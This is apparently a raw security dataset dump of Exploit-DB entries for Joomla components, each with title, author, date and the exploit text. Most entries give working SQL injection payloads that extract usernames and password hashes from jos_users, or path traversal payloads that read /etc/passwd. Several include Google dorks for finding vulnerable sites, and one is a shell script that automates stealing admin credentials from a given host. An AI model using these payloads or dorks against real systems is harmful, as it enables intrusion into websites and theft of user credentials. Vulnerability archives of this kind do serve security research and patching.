deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14265
Description: Joomla! Component PaymentsPlus 2.1.5 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-07
Author: Sid3^effects

Exploit:
Critical Level 	: HIGH
Vendor Url : http://paymentsplus.com.au/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
########################################################
#   I'm SiD3^effects member from Inj3ct0r Team         #
#    Support e-mail  : submit[at]inj3ct0r.com          #
########################################################
######################################################################################################
Xploit:BSQli Vulnerability

Demo Url: http://server/games/gambling/add.html?type=[BSQLi]
########################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #41400
Description: Joomla! Component PayPal IPN for DOCman 3.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-20
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component PayPal IPN for DOCman v3.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_docmanpaypal
# Date: 20.02.2017
# Vendor Homepage: http://shopfiles.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/extension-specific/docman-extensions/paypal-ipn-for-docman/
# Demo: http://demo.shopfiles.com/index.php/paypal-ipn-for-docman
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_docmanpaypal&task=addToCart&id=[SQL]
# # # # #
Exploit-DB #5104
Description: Joomla! Component pcchess 0.8 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-12
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_pcchess)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
#########################################################################
#
# DORK 1 : allinurl: com_pcchess "user_id"
#
# DORK 2 : allinurl: com_pcchess
#
#########################################################################
EXPLOIT :

index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*

#########################################################################
# S@BUN    i AM NOT HACKER    S@BUN
#########################################################################

<mosinstall type="component">
 <name>pcchess</name>
 <creationDate>08/20/2005</creationDate>
 <author>Robert Prince</author>
 <copyright>This component copyright Robert J. Prince, released under the GNU/GPL License</copyright>
 <authorEmail>rob@princeclan.org</authorEmail>

 <authorUrl>www.princeclan.org</authorUrl>
 <version>0.8</version>

# milw0rm.com [2008-02-12]
Exploit-DB #45466
Description: Joomla! Component Penny Auction Factory 2.0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Penny Auction Factory 2.0.4 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/auction/penny-auction-factory/
# Version: 2.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17378
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_pennyfactory&task=showSearchResults&filter_order_Dir[SQL]&filter_order=[SQL]
# 
# %2c%45%58%54%52%41%43%54%56%41%4c%55%45%28%36%36%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%29
#  
# # # #
Exploit-DB #15989
Description: Joomla! Component People 1.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-14
Author: Salvatore Fresta

Exploit:
People Joomla Component 1.0.0 SQL Injection Vulnerability

 Name              People
 Vendor            http://www.ptt-solution.com
 Versions Affected 1.0.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2011-01-14

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

The component shows all of your people in a  professional
scroll  bar  where  visitors  take the first attention to
their looks and positions.


II. DESCRIPTION
_______________

A parameter is not properly sanitised  before  being used
in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) SQL Injection
 

A) SQL Injection
________________

The id parameter is not  properly  sanitised before being
used in SQL queries.  This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) SQL Injection

http://site/path/index.php?option=com_people&controller=people&task=details&id=-1 UNION SELECT username,password,3 FROM jos_users


V. FIX
______

No fix.
Exploit-DB #34005
Description: Joomla! Component Percha Downloads Attach 1.1 - 'Controller' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2010-05-19
Author: AntiSecurity

Exploit:
source: https://www.securityfocus.com/bid/40244/info
  
Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.
  
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
  
The following Percha components are affected:
  
com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

http://www.example.com/index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00
Exploit-DB #34004
Description: Joomla! Component Percha Fields Attach 1.0 - 'Controller' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2010-05-19
Author: AntiSecurity

Exploit:
source: https://www.securityfocus.com/bid/40244/info
 
Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
 
The following Percha components are affected:
 
com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

http://www.example.com/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00
Exploit-DB #34006
Description: Joomla! Component Percha Gallery 1.6 Beta - 'Controller' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2010-05-19
Author: AntiSecurity

Exploit:
source: https://www.securityfocus.com/bid/40244/info
   
Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.
   
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
   
The following Percha components are affected:
   
com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

http://www.example.com/index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00
Exploit-DB #34003
Description: Joomla! Component Percha Image Attach 1.1 - 'Controller' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2010-05-19
Author: AntiSecurity

Exploit:
source: https://www.securityfocus.com/bid/40244/info

Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

The following Percha components are affected:

com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

 http://www.example.com/index.php?option=com_perchaimageattach&controller=../../../../../../../../../../etc/passwd%00
Exploit-DB #34008
Description: Joomla! Component Percha Multicategory Article 0.6 - 'Controller' Arbitrary File Access
Type: webapps
Platform: php
Date: 2010-05-19
Author: AntiSecurity

Exploit:
source: https://www.securityfocus.com/bid/40244/info
    
Multiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.
    
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
    
The following Percha components are affected:
    
com_perchaimageattach
com_perchafieldsattach
com_perchadownloadsattach
com_perchagallery
com_perchacategoriestree 

http://www.example.com/index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00
Exploit-DB #33125
Description: Joomla! Component Permis 1.0 (com_groups) - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-28
Author: Prince_Pwn3r

Exploit:
source: https://www.securityfocus.com/bid/35849/info

The Permis 'com_groups' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Permis 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?option=com_groups&task=list&id=25 and substring(@@version,1,1)=4
http://www.example.com/index.php?option=com_groups&task=list&id=25 and substring(@@version,1,1)=5
Exploit-DB #4003
Description: Joomla! Component Phil-a-Form 1.2.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2007-05-28
Author: CypherXero

Exploit:
#!/bin/sh

#################################################################################
#										#
#    Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit		#
#										#
# Discovered by: Cody "CypherXero" Rester					#
# Payload: Admin Username and MD5 Hash Retrieval				#
# Website: http://www.cypherxero.net						#
# Shoutouts to the milw0rm community, the PIMP forums				#
# and my blog, of course  	 						#
#										#
#################################################################################

echo "-------------------------------------------------------------------------"
echo "      Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit"
echo "-------------------------------------------------------------------------"
echo "Usage: sql_philaform_jos.sh [HOST] [FORM_ID]"
echo "[HOST] = Hostname of targetwebsite"
echo "[FORM_ID] = Form ID of Phil-a-Form post"
echo "e.g. sql_philaform_jos.sh http://www.targethost.com 2"
echo "-------------------------------------------------------------------------"
echo "                           Cody CypherXero Rester"
echo "            		 http://www.cypherxero.net"
echo "-------------------------------------------------------------------------"

jos_username="%20UNION%20SELECT%20null,null,username,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
jos_[CREDENTIAL_REDACTED],null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
host="$1"
form_id="$2"

if [ "$form_id" == "" ]
then
echo "Syntax not correct! See usage example!"
exit 1
else
echo ""
fi

echo "Username" > $host.txt
echo "--------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_username" | grep -i "philaform_" | awk -F\_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt
echo " " >> $host.txt
echo "MD5 Password Hash" >> $host.txt
echo "-----------------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_password" | grep -i "philaform_" | awk -F\_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt

echo ""
cat $host.txt

exit 0

# milw0rm.com [2007-05-28]
Exploit-DB #14207
Description: Joomla! Component Phoca Gallery 2.7.3 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-04
Author: RoAd_KiLlEr

Exploit:
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://a-h-crew.net    
[~] Download App:http://joomlacode.org/gf/download/frsrelease/12532/52585/com_phocagallery_v2.7.3.zip
[~] Vendor: http://www.phoca.cz
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
Phoca Gallery is a Joomla! gallery - image gallery for Joomla! CMS. It includes component, modules and plugins and allows users to display images or Youtube videos in many different styles.
=========================================

[+] Dork: inurl:"com_phocagallery"

==========================================


[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[Exploit]:  http://server/path/index.php?option=com_phocagallery&view=categories&Itemid=[SQL Injection] 



===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | DarKHackeR. | The|DennY` | EaglE EyE | Lekosta | KHG | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks: Inj3ct0r.com & r0073r  | indoushka from Dz-Ghost Team  | MaFFiTeRRoR | Sid3^effects | The_Exploited | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================================================================
Exploit-DB #12232
Description: Joomla! Component Photo Battle 1.0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: AntiSecurity

Exploit:
===========================================================================================================


  [o] Joomla Component Photo Battle Local File Inclusion Vulnerability
 
       Software : com_photobattle version 1.0.1
       Demo     : http://www.gogoritas.net/en/photo-battle
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_photobattle&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00


===========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===========================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #9892
Description: Joomla! Component Photo Blog alpha 3 < alpha 3a - SQL Injection
Type: webapps
Platform: php
Date: 2009-10-23
Author: kaMtiEz

Exploit:
/**************************************************************************

[~] Joomla Component com_photoblog SQL injection vulnerability - (category)
[~] Author	: kaMtiEz (kamzcrew@gmail.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: October 12, 2009
[~] Tune In	: http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Vendor : http://webguerilla.net/
[+] Download : http://webguerilla.net/downloads/3-components-for-joomla-1
[+] version : alpha 3 - alpha 3a
[+] Vulnerability : SQL injection
[+] Dork : inurl:"kaMtiEz"+"tukulesto"
[+] Price : FREE

===========================================================================
[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_photoblog&view=blogs&category=[INDONESIANCODER]

[ Exploit ]

-666/**/union/**/select/**/6,concat(0x3a,username,password),6,6,version(),6,6,6,6,6,6,6,6,6/**/from/**/jos_users/*

[ Demo ]

http://www.wideskygroup.com/index.php?option=com_photoblog&view=blogs&category=-666/**/union/**/select/**/6,concat%280x3a,username,password%29,6,6,version%28%29,6,6,6,6,6,6,6,6,6/**/from/**/jos_users/*
===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM - KILL-9 CREW - KIRIK CREW - MainHack Brotherhood - ServerIsDown
[+] Don Tukulesto, M3NW5, arianom, tiw0L, Pathloader, abah_benu, VycOd, och3_an3h
[+] Contrex, onthel, yasea, bugs, olivia, Jovan, Aar, Ardy, invent, Ronz
[+] Coracore, black666girl, NepT, ichal, tengik, Gh4mb4s ,rendy, Jack- and YOU!!

[ NOTE ] 

[+] Mom and dad and my sister i love u .. for my girlfriends thx for your support mwahhhh ^_^
[+] setelah bertapa bersama om tukulesto .. akhirnya .. mendapatkan bugs lagi !
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D

[ QUOTE ]

[+] M3NW5 kemana aje lo ?? kangen nih .. hha
[+] AURAKASIH dont leave me ...
Exploit-DB #42563
Description: Joomla! Component Photo Contest 1.0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-25
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Photo Contest 1.0.2- SQL Injection
# Dork: N/A
# Date: 25.08.2017
# Vendor Homepage: http://keenitsolution.com/
# Software Link: https://codecanyon.net/item/photo-contest-joomla-extension/13268866
# Demo: http://photo.keenitsolution.com/
# Version: 1.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/photo-contest/photocontest/vote?controller=photocontest&vid=[SQL]
#
# 1'aND+(/*!22200sEleCT*/+1+/*!22200FrOM*/+(/*!22200sEleCT*/+cOUNT(*),/*!22200CoNCAt*/((/*!22200sEleCT*/(/*!22200sEleCT*/+/*!22200CoNCAt*/(cAst(dATABASE()+As+char),0x7e,0x496873616E53656e63616e))+/*!22200FrOM*/+infOrMation_schEma.tables+where+table_schema=dATABASE()+limit+0,1),floor(raND(0)*2))x+/*!22200FrOM*/+infOrMation_schEma.tABLES+/*!22200gROUP*/+bY+x)a)+aND+''='
#
# Etc..
# # # # #
Exploit-DB #42414
Description: Joomla! Component PHP-Bridge 1.2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-02
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component PHP-Bridge v1.2.3 - SQL Injection
# Dork: N/A
# Date: 02.08.2017
# Vendor : http://www.henryschorradt.de/
# Software: https://extensions.joomla.org/extensions/extension/miscellaneous/development/php-bridge/
# Demo: http://www.henryschorradt.de/joomla-php-bridge/
# Version: 1.2.3
# # # # #
# Author: Ihsan Sencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_phpbridge&view=phpview&run=fahrzeuge&mode=detail&id=[SQL]
# -00000090+union+select+1,(sELECT+eXPORT_sET(5,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(5,eXPORT_sET(5,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,2)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--+-
# Etc..
# # # # #
Exploit-DB #12058
Description: Joomla! Component Picasa 2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-04
Author: Vrs-hCk

Exploit:
# Exploit Title: Joomla Component Picasa 2.0 LFI Vulnerability
# Date: Monday, 05 April 2010
# Author: Vrs-hCk
# Software Link: http://prof3ta.netsons.org/
# Version: Joomla Component Picasa version 2.0
# Tested on:
# CVE :
# Code :

 ================================================================================================

 Title    : Joomla Component Picasa 2.0 LFI Vulnerability
 Software : com_joomlapicasa2 version 2.0
 Vendor   : http://prof3ta.netsons.org/

 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_joomlapicasa2&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n